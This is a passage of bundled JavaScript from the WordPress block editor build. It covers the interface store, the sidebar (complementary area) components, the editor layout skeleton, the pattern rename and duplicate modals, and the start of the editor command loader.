8801 );
8802 return pinnedItems?.[item] ?? true;
8803 }
8804);
8805const isFeatureActive = (0,external_wp_data_namespaceObject.createRegistrySelector)(
8806 (select) => (state, scope, featureName) => {
8807 external_wp_deprecated_default()(
8808 `select( 'core/interface' ).isFeatureActive( scope, featureName )`,
8809 {
8810 since: "6.0",
8811 alternative: `select( 'core/preferences' ).get( scope, featureName )`
8812 }
8813 );
8814 return !!select(external_wp_preferences_namespaceObject.store).get(scope, featureName);
8815 }
8816);
8817function isModalActive(state, modalName) {
8818 return state.activeModal === modalName;
8819}
8820
8821
8822;// ./node_modules/@wordpress/interface/build-module/store/reducer.js
8823
8824function complementaryAreas(state = {}, action) {
8825 switch (action.type) {
8826 case "SET_DEFAULT_COMPLEMENTARY_AREA": {
8827 const { scope, area } = action;
8828 if (state[scope]) {
8829 return state;
8830 }
8831 return {
8832 ...state,
8833 [scope]: area
8834 };
8835 }
8836 case "ENABLE_COMPLEMENTARY_AREA": {
8837 const { scope, area } = action;
8838 return {
8839 ...state,
8840 [scope]: area
8841 };
8842 }
8843 }
8844 return state;
8845}
8846function activeModal(state = null, action) {
8847 switch (action.type) {
8848 case "OPEN_MODAL":
8849 return action.name;
8850 case "CLOSE_MODAL":
8851 return null;
8852 }
8853 return state;
8854}
8855var store_reducer_reducer_default = (0,external_wp_data_namespaceObject.combineReducers)({
8856 complementaryAreas,
8857 activeModal
8858});
8859
8860
8861;// ./node_modules/@wordpress/interface/build-module/store/constants.js
8862const constants_STORE_NAME = "core/interface";
8863
8864
8865;// ./node_modules/@wordpress/interface/build-module/store/index.js
8866
8867
8868
8869
8870
8871const store = (0,external_wp_data_namespaceObject.createReduxStore)(constants_STORE_NAME, {
8872 reducer: store_reducer_reducer_default,
8873 actions: store_actions_namespaceObject,
8874 selectors: store_selectors_namespaceObject
8875});
8876(0,external_wp_data_namespaceObject.register)(store);
8877
8878
8879;// ./node_modules/@wordpress/interface/build-module/components/complementary-area-toggle/index.js
8880
8881
8882
8883
8884
8885function roleSupportsCheckedState(role) {
8886 return [
8887 "checkbox",
8888 "option",
8889 "radio",
8890 "switch",
8891 "menuitemcheckbox",
8892 "menuitemradio",
8893 "treeitem"
8894 ].includes(role);
8895}
8896function ComplementaryAreaToggle({
8897 as = external_wp_components_namespaceObject.Button,
8898 scope,
8899 identifier: identifierProp,
8900 icon: iconProp,
8901 selectedIcon,
8902 name,
8903 shortcut,
8904 ...props
8905}) {
8906 const ComponentToUse = as;
8907 const context = (0,external_wp_plugins_namespaceObject.usePluginContext)();
8908 const icon = iconProp || context.icon;
8909 const identifier = identifierProp || `${context.name}/${name}`;
8910 const isSelected = (0,external_wp_data_namespaceObject.useSelect)(
8911 (select) => select(store).getActiveComplementaryArea(scope) === identifier,
8912 [identifier, scope]
8913 );
8914 const { enableComplementaryArea, disableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store);
8915 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8916 ComponentToUse,
8917 {
8918 icon: selectedIcon && isSelected ? selectedIcon : icon,
8919 "aria-controls": identifier.replace("/", ":"),
8920 "aria-checked": roleSupportsCheckedState(props.role) ? isSelected : void 0,
8921 onClick: () => {
8922 if (isSelected) {
8923 disableComplementaryArea(scope);
8924 } else {
8925 enableComplementaryArea(scope, identifier);
8926 }
8927 },
8928 shortcut,
8929 ...props
8930 }
8931 );
8932}
8933
8934
8935;// ./node_modules/@wordpress/interface/build-module/components/complementary-area-header/index.js
8936
8937
8938
8939
8940const ComplementaryAreaHeader = ({
8941 children,
8942 className,
8943 toggleButtonProps
8944}) => {
8945 const toggleButton = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryAreaToggle, { icon: close_small_default, ...toggleButtonProps });
8946 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
8947 "div",
8948 {
8949 className: dist_clsx(
8950 "components-panel__header",
8951 "interface-complementary-area-header",
8952 className
8953 ),
8954 tabIndex: -1,
8955 children: [
8956 children,
8957 toggleButton
8958 ]
8959 }
8960 );
8961};
8962var complementary_area_header_default = ComplementaryAreaHeader;
8963
8964
8965;// ./node_modules/@wordpress/interface/build-module/components/action-item/index.js
8966
8967
8968
8969const action_item_noop = () => {
8970};
8971function ActionItemSlot({
8972 name,
8973 as: Component = external_wp_components_namespaceObject.MenuGroup,
8974 fillProps = {},
8975 bubblesVirtually,
8976 ...props
8977}) {
8978 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8979 external_wp_components_namespaceObject.Slot,
8980 {
8981 name,
8982 bubblesVirtually,
8983 fillProps,
8984 children: (fills) => {
8985 if (!external_wp_element_namespaceObject.Children.toArray(fills).length) {
8986 return null;
8987 }
8988 const initializedByPlugins = [];
8989 external_wp_element_namespaceObject.Children.forEach(
8990 fills,
8991 ({
8992 props: { __unstableExplicitMenuItem, __unstableTarget }
8993 }) => {
8994 if (__unstableTarget && __unstableExplicitMenuItem) {
8995 initializedByPlugins.push(__unstableTarget);
8996 }
8997 }
8998 );
8999 const children = external_wp_element_namespaceObject.Children.map(fills, (child) => {
9000 if (!child.props.__unstableExplicitMenuItem && initializedByPlugins.includes(
9001 child.props.__unstableTarget
9002 )) {
9003 return null;
9004 }
9005 return child;
9006 });
9007 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Component, { ...props, children });
9008 }
9009 }
9010 );
9011}
9012function ActionItem({ name, as: Component = external_wp_components_namespaceObject.Button, onClick, ...props }) {
9013 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Fill, { name, children: ({ onClick: fpOnClick }) => {
9014 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9015 Component,
9016 {
9017 onClick: onClick || fpOnClick ? (...args) => {
9018 (onClick || action_item_noop)(...args);
9019 (fpOnClick || action_item_noop)(...args);
9020 } : void 0,
9021 ...props
9022 }
9023 );
9024 } });
9025}
9026ActionItem.Slot = ActionItemSlot;
9027var action_item_default = ActionItem;
9028
9029
9030;// ./node_modules/@wordpress/interface/build-module/components/complementary-area-more-menu-item/index.js
9031
9032
9033
9034
9035
9036const PluginsMenuItem = ({
9037 // Menu item is marked with unstable prop for backward compatibility.
9038 // They are removed so they don't leak to DOM elements.
9039 // @see https://github.com/WordPress/gutenberg/issues/14457
9040 __unstableExplicitMenuItem,
9041 __unstableTarget,
9042 ...restProps
9043}) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, { ...restProps });
9044function ComplementaryAreaMoreMenuItem({
9045 scope,
9046 target,
9047 __unstableExplicitMenuItem,
9048 ...props
9049}) {
9050 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9051 ComplementaryAreaToggle,
9052 {
9053 as: (toggleProps) => {
9054 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9055 action_item_default,
9056 {
9057 __unstableExplicitMenuItem,
9058 __unstableTarget: `${scope}/${target}`,
9059 as: PluginsMenuItem,
9060 name: `${scope}/plugin-more-menu`,
9061 ...toggleProps
9062 }
9063 );
9064 },
9065 role: "menuitemcheckbox",
9066 selectedIcon: check_default,
9067 name: target,
9068 scope,
9069 ...props
9070 }
9071 );
9072}
9073
9074
9075;// ./node_modules/@wordpress/interface/build-module/components/pinned-items/index.js
9076
9077
9078
9079function PinnedItems({ scope, ...props }) {
9080 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Fill, { name: `PinnedItems/${scope}`, ...props });
9081}
9082function PinnedItemsSlot({ scope, className, ...props }) {
9083 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Slot, { name: `PinnedItems/${scope}`, ...props, children: (fills) => fills?.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9084 "div",
9085 {
9086 className: dist_clsx(
9087 className,
9088 "interface-pinned-items"
9089 ),
9090 children: fills
9091 }
9092 ) });
9093}
9094PinnedItems.Slot = PinnedItemsSlot;
9095var pinned_items_default = PinnedItems;
9096
9097
9098;// ./node_modules/@wordpress/interface/build-module/components/complementary-area/index.js
9099
9100
9101
9102
9103
9104
9105
9106
9107
9108
9109
9110
9111
9112
9113
9114
9115const ANIMATION_DURATION = 0.3;
9116function ComplementaryAreaSlot({ scope, ...props }) {
9117 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Slot, { name: `ComplementaryArea/${scope}`, ...props });
9118}
9119const SIDEBAR_WIDTH = 280;
9120const variants = {
9121 open: { width: SIDEBAR_WIDTH },
9122 closed: { width: 0 },
9123 mobileOpen: { width: "100vw" }
9124};
9125function ComplementaryAreaFill({
9126 activeArea,
9127 isActive,
9128 scope,
9129 children,
9130 className,
9131 id
9132}) {
9133 const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
9134 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
9135 const previousActiveArea = (0,external_wp_compose_namespaceObject.usePrevious)(activeArea);
9136 const previousIsActive = (0,external_wp_compose_namespaceObject.usePrevious)(isActive);
9137 const [, setState] = (0,external_wp_element_namespaceObject.useState)({});
9138 (0,external_wp_element_namespaceObject.useEffect)(() => {
9139 setState({});
9140 }, [isActive]);
9141 const transition = {
9142 type: "tween",
9143 duration: disableMotion || isMobileViewport || !!previousActiveArea && !!activeArea && activeArea !== previousActiveArea ? 0 : ANIMATION_DURATION,
9144 ease: [0.6, 0, 0.4, 1]
9145 };
9146 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Fill, { name: `ComplementaryArea/${scope}`, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, { initial: false, children: (previousIsActive || isActive) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9147 external_wp_components_namespaceObject.__unstableMotion.div,
9148 {
9149 variants,
9150 initial: "closed",
9151 animate: isMobileViewport ? "mobileOpen" : "open",
9152 exit: "closed",
9153 transition,
9154 className: "interface-complementary-area__fill",
9155 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9156 "div",
9157 {
9158 id,
9159 className,
9160 style: {
9161 width: isMobileViewport ? "100vw" : SIDEBAR_WIDTH
9162 },
9163 children
9164 }
9165 )
9166 }
9167 ) }) });
9168}
9169function useAdjustComplementaryListener(scope, identifier, activeArea, isActive, isSmall) {
9170 const previousIsSmallRef = (0,external_wp_element_namespaceObject.useRef)(false);
9171 const shouldOpenWhenNotSmallRef = (0,external_wp_element_namespaceObject.useRef)(false);
9172 const { enableComplementaryArea, disableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store);
9173 (0,external_wp_element_namespaceObject.useEffect)(() => {
9174 if (isActive && isSmall && !previousIsSmallRef.current) {
9175 disableComplementaryArea(scope);
9176 shouldOpenWhenNotSmallRef.current = true;
9177 } else if (
9178 // If there is a flag indicating the complementary area should be
9179 // enabled when we go from small to big window size and we are going
9180 // from a small to big window size.
9181 shouldOpenWhenNotSmallRef.current && !isSmall && previousIsSmallRef.current
9182 ) {
9183 shouldOpenWhenNotSmallRef.current = false;
9184 enableComplementaryArea(scope, identifier);
9185 } else if (
9186 // If the flag is indicating the current complementary should be
9187 // reopened but another complementary area becomes active, remove
9188 // the flag.
9189 shouldOpenWhenNotSmallRef.current && activeArea && activeArea !== identifier
9190 ) {
9191 shouldOpenWhenNotSmallRef.current = false;
9192 }
9193 if (isSmall !== previousIsSmallRef.current) {
9194 previousIsSmallRef.current = isSmall;
9195 }
9196 }, [
9197 isActive,
9198 isSmall,
9199 scope,
9200 identifier,
9201 activeArea,
9202 disableComplementaryArea,
9203 enableComplementaryArea
9204 ]);
9205}
9206function ComplementaryArea({
9207 children,
9208 className,
9209 closeLabel = (0,external_wp_i18n_namespaceObject.__)("Close plugin"),
9210 identifier: identifierProp,
9211 header,
9212 headerClassName,
9213 icon: iconProp,
9214 isPinnable = true,
9215 panelClassName,
9216 scope,
9217 name,
9218 title,
9219 toggleShortcut,
9220 isActiveByDefault
9221}) {
9222 const context = (0,external_wp_plugins_namespaceObject.usePluginContext)();
9223 const icon = iconProp || context.icon;
9224 const identifier = identifierProp || `${context.name}/${name}`;
9225 const [isReady, setIsReady] = (0,external_wp_element_namespaceObject.useState)(false);
9226 const {
9227 isLoading,
9228 isActive,
9229 isPinned,
9230 activeArea,
9231 isSmall,
9232 isLarge,
9233 showIconLabels
9234 } = (0,external_wp_data_namespaceObject.useSelect)(
9235 (select) => {
9236 const {
9237 getActiveComplementaryArea,
9238 isComplementaryAreaLoading,
9239 isItemPinned
9240 } = select(store);
9241 const { get } = select(external_wp_preferences_namespaceObject.store);
9242 const _activeArea = getActiveComplementaryArea(scope);
9243 return {
9244 isLoading: isComplementaryAreaLoading(scope),
9245 isActive: _activeArea === identifier,
9246 isPinned: isItemPinned(scope, identifier),
9247 activeArea: _activeArea,
9248 isSmall: select(external_wp_viewport_namespaceObject.store).isViewportMatch("< medium"),
9249 isLarge: select(external_wp_viewport_namespaceObject.store).isViewportMatch("large"),
9250 showIconLabels: get("core", "showIconLabels")
9251 };
9252 },
9253 [identifier, scope]
9254 );
9255 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
9256 useAdjustComplementaryListener(
9257 scope,
9258 identifier,
9259 activeArea,
9260 isActive,
9261 isSmall
9262 );
9263 const {
9264 enableComplementaryArea,
9265 disableComplementaryArea,
9266 pinItem,
9267 unpinItem
9268 } = (0,external_wp_data_namespaceObject.useDispatch)(store);
9269 (0,external_wp_element_namespaceObject.useEffect)(() => {
9270 if (isActiveByDefault && activeArea === void 0 && !isSmall) {
9271 enableComplementaryArea(scope, identifier);
9272 } else if (activeArea === void 0 && isSmall) {
9273 disableComplementaryArea(scope, identifier);
9274 }
9275 setIsReady(true);
9276 }, [
9277 activeArea,
9278 isActiveByDefault,
9279 scope,
9280 identifier,
9281 isSmall,
9282 enableComplementaryArea,
9283 disableComplementaryArea
9284 ]);
9285 if (!isReady) {
9286 return;
9287 }
9288 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
9289 isPinnable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(pinned_items_default, { scope, children: isPinned && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9290 ComplementaryAreaToggle,
9291 {
9292 scope,
9293 identifier,
9294 isPressed: isActive && (!showIconLabels || isLarge),
9295 "aria-expanded": isActive,
9296 "aria-disabled": isLoading,
9297 label: title,
9298 icon: showIconLabels ? check_default : icon,
9299 showTooltip: !showIconLabels,
9300 variant: showIconLabels ? "tertiary" : void 0,
9301 size: "compact",
9302 shortcut: toggleShortcut
9303 }
9304 ) }),
9305 name && isPinnable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9306 ComplementaryAreaMoreMenuItem,
9307 {
9308 target: name,
9309 scope,
9310 icon,
9311 identifier,
9312 children: title
9313 }
9314 ),
9315 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
9316 ComplementaryAreaFill,
9317 {
9318 activeArea,
9319 isActive,
9320 className: dist_clsx("interface-complementary-area", className),
9321 scope,
9322 id: identifier.replace("/", ":"),
9323 children: [
9324 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9325 complementary_area_header_default,
9326 {
9327 className: headerClassName,
9328 closeLabel,
9329 onClose: () => disableComplementaryArea(scope),
9330 toggleButtonProps: {
9331 label: closeLabel,
9332 size: "compact",
9333 shortcut: toggleShortcut,
9334 scope,
9335 identifier
9336 },
9337 children: header || /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
9338 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "interface-complementary-area-header__title", children: title }),
9339 isPinnable && !isMobileViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9340 external_wp_components_namespaceObject.Button,
9341 {
9342 className: "interface-complementary-area__pin-unpin-item",
9343 icon: isPinned ? star_filled_default : star_empty_default,
9344 label: isPinned ? (0,external_wp_i18n_namespaceObject.__)("Unpin from toolbar") : (0,external_wp_i18n_namespaceObject.__)("Pin to toolbar"),
9345 onClick: () => (isPinned ? unpinItem : pinItem)(
9346 scope,
9347 identifier
9348 ),
9349 isPressed: isPinned,
9350 "aria-expanded": isPinned,
9351 size: "compact"
9352 }
9353 )
9354 ] })
9355 }
9356 ),
9357 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Panel, { className: panelClassName, children })
9358 ]
9359 }
9360 )
9361 ] });
9362}
9363ComplementaryArea.Slot = ComplementaryAreaSlot;
9364var complementary_area_default = ComplementaryArea;
9365
9366
9367;// ./node_modules/@wordpress/interface/build-module/components/fullscreen-mode/index.js
9368
9369const FullscreenMode = ({ isActive }) => {
9370 (0,external_wp_element_namespaceObject.useEffect)(() => {
9371 let isSticky = false;
9372 if (document.body.classList.contains("sticky-menu")) {
9373 isSticky = true;
9374 document.body.classList.remove("sticky-menu");
9375 }
9376 return () => {
9377 if (isSticky) {
9378 document.body.classList.add("sticky-menu");
9379 }
9380 };
9381 }, []);
9382 (0,external_wp_element_namespaceObject.useEffect)(() => {
9383 if (isActive) {
9384 document.body.classList.add("is-fullscreen-mode");
9385 } else {
9386 document.body.classList.remove("is-fullscreen-mode");
9387 }
9388 return () => {
9389 if (isActive) {
9390 document.body.classList.remove("is-fullscreen-mode");
9391 }
9392 };
9393 }, [isActive]);
9394 return null;
9395};
9396var fullscreen_mode_default = FullscreenMode;
9397
9398
9399;// ./node_modules/@wordpress/admin-ui/build-module/navigable-region/index.js
9400
9401
9402
9403const NavigableRegion = (0,external_wp_element_namespaceObject.forwardRef)(
9404 ({ children, className, ariaLabel, as: Tag = "div", ...props }, ref) => {
9405 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9406 Tag,
9407 {
9408 ref,
9409 className: dist_clsx("admin-ui-navigable-region", className),
9410 "aria-label": ariaLabel,
9411 role: "region",
9412 tabIndex: "-1",
9413 ...props,
9414 children
9415 }
9416 );
9417 }
9418);
9419NavigableRegion.displayName = "NavigableRegion";
9420var navigable_region_default = NavigableRegion;
9421
9422
9423;// ./node_modules/@wordpress/interface/build-module/components/interface-skeleton/index.js
9424
9425
9426
9427
9428
9429
9430
9431const interface_skeleton_ANIMATION_DURATION = 0.25;
9432const commonTransition = {
9433 type: "tween",
9434 duration: interface_skeleton_ANIMATION_DURATION,
9435 ease: [0.6, 0, 0.4, 1]
9436};
9437function useHTMLClass(className) {
9438 (0,external_wp_element_namespaceObject.useEffect)(() => {
9439 const element = document && document.querySelector(`html:not(.${className})`);
9440 if (!element) {
9441 return;
9442 }
9443 element.classList.toggle(className);
9444 return () => {
9445 element.classList.toggle(className);
9446 };
9447 }, [className]);
9448}
9449const headerVariants = {
9450 hidden: { opacity: 1, marginTop: -60 },
9451 visible: { opacity: 1, marginTop: 0 },
9452 distractionFreeHover: {
9453 opacity: 1,
9454 marginTop: 0,
9455 transition: {
9456 ...commonTransition,
9457 delay: 0.2,
9458 delayChildren: 0.2
9459 }
9460 },
9461 distractionFreeHidden: {
9462 opacity: 0,
9463 marginTop: -60
9464 },
9465 distractionFreeDisabled: {
9466 opacity: 0,
9467 marginTop: 0,
9468 transition: {
9469 ...commonTransition,
9470 delay: 0.8,
9471 delayChildren: 0.8
9472 }
9473 }
9474};
9475function InterfaceSkeleton({
9476 isDistractionFree,
9477 footer,
9478 header,
9479 editorNotices,
9480 sidebar,
9481 secondarySidebar,
9482 content,
9483 actions,
9484 labels,
9485 className
9486}, ref) {
9487 const [secondarySidebarResizeListener, secondarySidebarSize] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
9488 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
9489 const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
9490 const defaultTransition = {
9491 type: "tween",
9492 duration: disableMotion ? 0 : interface_skeleton_ANIMATION_DURATION,
9493 ease: [0.6, 0, 0.4, 1]
9494 };
9495 useHTMLClass("interface-interface-skeleton__html-container");
9496 const defaultLabels = {
9497 /* translators: accessibility text for the top bar landmark region. */
9498 header: (0,external_wp_i18n_namespaceObject._x)("Header", "header landmark area"),
9499 /* translators: accessibility text for the content landmark region. */
9500 body: (0,external_wp_i18n_namespaceObject.__)("Content"),
9501 /* translators: accessibility text for the secondary sidebar landmark region. */
9502 secondarySidebar: (0,external_wp_i18n_namespaceObject.__)("Block Library"),
9503 /* translators: accessibility text for the settings landmark region. */
9504 sidebar: (0,external_wp_i18n_namespaceObject._x)("Settings", "settings landmark area"),
9505 /* translators: accessibility text for the publish landmark region. */
9506 actions: (0,external_wp_i18n_namespaceObject.__)("Publish"),
9507 /* translators: accessibility text for the footer landmark region. */
9508 footer: (0,external_wp_i18n_namespaceObject.__)("Footer")
9509 };
9510 const mergedLabels = { ...defaultLabels, ...labels };
9511 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
9512 "div",
9513 {
9514 ref,
9515 className: dist_clsx(
9516 className,
9517 "interface-interface-skeleton",
9518 !!footer && "has-footer"
9519 ),
9520 children: [
9521 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "interface-interface-skeleton__editor", children: [
9522 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, { initial: false, children: !!header && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9523 navigable_region_default,
9524 {
9525 as: external_wp_components_namespaceObject.__unstableMotion.div,
9526 className: "interface-interface-skeleton__header",
9527 "aria-label": mergedLabels.header,
9528 initial: isDistractionFree && !isMobileViewport ? "distractionFreeHidden" : "hidden",
9529 whileHover: isDistractionFree && !isMobileViewport ? "distractionFreeHover" : "visible",
9530 animate: isDistractionFree && !isMobileViewport ? "distractionFreeDisabled" : "visible",
9531 exit: isDistractionFree && !isMobileViewport ? "distractionFreeHidden" : "hidden",
9532 variants: headerVariants,
9533 transition: defaultTransition,
9534 children: header
9535 }
9536 ) }),
9537 isDistractionFree && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "interface-interface-skeleton__header", children: editorNotices }),
9538 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "interface-interface-skeleton__body", children: [
9539 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, { initial: false, children: !!secondarySidebar && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9540 navigable_region_default,
9541 {
9542 className: "interface-interface-skeleton__secondary-sidebar",
9543 ariaLabel: mergedLabels.secondarySidebar,
9544 as: external_wp_components_namespaceObject.__unstableMotion.div,
9545 initial: "closed",
9546 animate: "open",
9547 exit: "closed",
9548 variants: {
9549 open: { width: secondarySidebarSize.width },
9550 closed: { width: 0 }
9551 },
9552 transition: defaultTransition,
9553 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
9554 external_wp_components_namespaceObject.__unstableMotion.div,
9555 {
9556 style: {
9557 position: "absolute",
9558 width: isMobileViewport ? "100vw" : "fit-content",
9559 height: "100%",
9560 left: 0
9561 },
9562 variants: {
9563 open: { x: 0 },
9564 closed: { x: "-100%" }
9565 },
9566 transition: defaultTransition,
9567 children: [
9568 secondarySidebarResizeListener,
9569 secondarySidebar
9570 ]
9571 }
9572 )
9573 }
9574 ) }),
9575 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9576 navigable_region_default,
9577 {
9578 className: "interface-interface-skeleton__content",
9579 ariaLabel: mergedLabels.body,
9580 children: content
9581 }
9582 ),
9583 !!sidebar && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9584 navigable_region_default,
9585 {
9586 className: "interface-interface-skeleton__sidebar",
9587 ariaLabel: mergedLabels.sidebar,
9588 children: sidebar
9589 }
9590 ),
9591 !!actions && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9592 navigable_region_default,
9593 {
9594 className: "interface-interface-skeleton__actions",
9595 ariaLabel: mergedLabels.actions,
9596 children: actions
9597 }
9598 )
9599 ] })
9600 ] }),
9601 !!footer && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9602 navigable_region_default,
9603 {
9604 className: "interface-interface-skeleton__footer",
9605 ariaLabel: mergedLabels.footer,
9606 children: footer
9607 }
9608 )
9609 ]
9610 }
9611 );
9612}
9613var interface_skeleton_default = (0,external_wp_element_namespaceObject.forwardRef)(InterfaceSkeleton);
9614
9615
9616;// ./node_modules/@wordpress/interface/build-module/components/index.js
9617
9618
9619
9620
9621
9622
9623
9624
9625;// ./node_modules/@wordpress/interface/build-module/index.js
9626
9627
9628
9629
9630;// ./node_modules/@wordpress/editor/build-module/components/pattern-rename-modal/index.js
9631
9632
9633
9634
9635
9636
9637
9638
9639const { RenamePatternModal } = unlock(external_wp_patterns_namespaceObject.privateApis);
9640const modalName = "editor/pattern-rename";
9641function PatternRenameModal() {
9642 const { record, postType } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
9643 const { getCurrentPostType, getCurrentPostId } = select(store_store);
9644 const { getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
9645 const _postType = getCurrentPostType();
9646 return {
9647 record: getEditedEntityRecord(
9648 "postType",
9649 _postType,
9650 getCurrentPostId()
9651 ),
9652 postType: _postType
9653 };
9654 }, []);
9655 const { closeModal } = (0,external_wp_data_namespaceObject.useDispatch)(store);
9656 const isActive = (0,external_wp_data_namespaceObject.useSelect)(
9657 (select) => select(store).isModalActive(modalName)
9658 );
9659 if (!isActive || postType !== PATTERN_POST_TYPE) {
9660 return null;
9661 }
9662 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RenamePatternModal, { onClose: closeModal, pattern: record });
9663}
9664
9665
9666;// ./node_modules/@wordpress/editor/build-module/components/pattern-duplicate-modal/index.js
9667
9668
9669
9670
9671
9672
9673
9674
9675const { DuplicatePatternModal } = unlock(external_wp_patterns_namespaceObject.privateApis);
9676const pattern_duplicate_modal_modalName = "editor/pattern-duplicate";
9677function PatternDuplicateModal() {
9678 const { record, postType } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
9679 const { getCurrentPostType, getCurrentPostId } = select(store_store);
9680 const { getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
9681 const _postType = getCurrentPostType();
9682 return {
9683 record: getEditedEntityRecord(
9684 "postType",
9685 _postType,
9686 getCurrentPostId()
9687 ),
9688 postType: _postType
9689 };
9690 }, []);
9691 const { closeModal } = (0,external_wp_data_namespaceObject.useDispatch)(store);
9692 const isActive = (0,external_wp_data_namespaceObject.useSelect)(
9693 (select) => select(store).isModalActive(pattern_duplicate_modal_modalName)
9694 );
9695 if (!isActive || postType !== PATTERN_POST_TYPE) {
9696 return null;
9697 }
9698 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9699 DuplicatePatternModal,
9700 {
9701 onClose: closeModal,
9702 onSuccess: () => closeModal(),
9703 pattern: record
9704 }
9705 );
9706}
9707
9708
9709;// ./node_modules/@wordpress/editor/build-module/components/commands/index.js
9710
9711
9712
9713
9714
9715
9716
9717
9718
9719
9720
9721
9722
9723
9724
9725
9726const getEditorCommandLoader = () => function useEditorCommandLoader() {
9727 const {
9728 editorMode,
9729 isListViewOpen,
9730 showBlockBreadcrumbs,
9731 isDistractionFree,
9732 isFocusMode,
9733 isPreviewMode,
9734 isViewable,
9735 isCodeEditingEnabled,
9736 isRichEditingEnabled,
9737 isPublishSidebarEnabled
9738 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
9739 const { get } = select(external_wp_preferences_namespaceObject.store);
9740 const { isListViewOpened, getCurrentPostType, getEditorSettings } = select(store_store);
9741 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
9742 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
9743 return {
9744 editorMode: get("core", "editorMode") ?? "visual",
9745 isListViewOpen: isListViewOpened(),
9746 showBlockBreadcrumbs: get("core", "showBlockBreadcrumbs"),
9747 isDistractionFree: get("core", "distractionFree"),
9748 isFocusMode: get("core", "focusMode"),
9749 isPreviewMode: getSettings().isPreviewMode,
9750 isViewable: getPostType(getCurrentPostType())?.viewable ?? false,
9751 isCodeEditingEnabled: getEditorSettings().codeEditingEnabled,
9752 isRichEditingEnabled: getEditorSettings().richEditingEnabled,
9753 isPublishSidebarEnabled: select(store_store).isPublishSidebarEnabled()
9754 };
9755 }, []);
9756 const { getActiveComplementaryArea } = (0,external_wp_data_namespaceObject.useSelect)(store);
9757 const { toggle } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
